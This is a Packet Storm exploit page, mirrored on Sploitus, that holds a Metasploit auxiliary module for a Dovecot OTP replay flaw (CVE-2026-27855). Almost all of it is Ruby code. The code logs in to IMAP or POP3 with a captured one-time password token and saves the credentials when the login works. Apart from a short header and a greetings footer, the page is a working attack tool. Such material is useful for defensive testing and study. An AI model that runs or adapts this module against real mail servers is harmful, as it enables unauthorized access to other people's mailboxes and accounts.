Share
## https://sploitus.com/exploit?id=PACKETSTORM:219559
==================================================================================================================================
    | # Title     : Dovecot OTP Replay Attack Metasploit Module                                                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.dovecotpro.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a vulnerability in Dovecotโ€™s OTP (One-Time Password) authentication system that allows potential replay attacks when authentication 
                     caching is enabled and username handling is improperly managed.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dovecot OTP Replay Attack',
            'Description' => %q{
              Dovecot OTP authentication is vulnerable to replay attacks when auth cache is
              enabled and username is altered in passdb.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-27855']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-27'
          )
        )
    
        register_options([
          Opt::RPORT(143),
          OptString.new('USERNAME', [true, 'Target username', '']),
          OptString.new('OTP_TOKEN', [true, 'Observed OTP token to replay', '']),
          OptString.new('SEQUENCE_NUMBER', [true, 'OTP sequence number', '1']),
          OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
        ])
      end
    
      def run_host(ip)
        print_status("Dovecot OTP Replay Attack (CVE-2026-27855)")
        print_status("Target: #{ip}:#{rport}")
    
        username = datastore['USERNAME']
        otp_token = datastore['OTP_TOKEN']
        sequence = datastore['SEQUENCE_NUMBER']
    
        otp_password = "#{sequence} #{otp_token}"
    
        print_status("Replaying OTP token for user #{username}")
    
        if attempt_otp_replay(username, otp_password)
          print_good("OTP replay successful! Authenticated as #{username}")
          report_success(username, otp_token)
        else
          print_error("OTP replay failed")
        end
      end
    
      def attempt_otp_replay(username, otp_password)
        sock = nil
    
        begin
          sock = connect
    
          banner = sock.get_once
          vprint_status("Banner: #{banner}")
    
          if datastore['PROTOCOL'] == 'IMAP'
            sock.put("a1 LOGIN \"#{username}\" \"#{otp_password}\"\r\n")
            response = sock.get_once
            vprint_status("Response: #{response}")
    
            return true if response && response.to_s.include?('OK')
    
          else
            sock.put("USER #{username}\r\n")
            response = sock.get_once
    
            if response && response.to_s.include?('+OK')
              sock.put("PASS #{otp_password}\r\n")
              final = sock.get_once
              return true if final && final.to_s.include?('+OK')
            end
          end
    
        rescue ::Exception => e
          vprint_error("Error: #{e.message}")
        ensure
          disconnect(sock) if sock
        end
    
        false
      end
    
      def report_success(username, otp_token)
        service_data = {
          address: rhost,
          port: rport,
          service_name: datastore['PROTOCOL'].downcase,
          protocol: 'tcp',
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: username,
          private_data: "OTP Replay - Token: #{otp_token}",
          private_type: :password
        }.merge(service_data)
    
        create_credential(credential_data)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================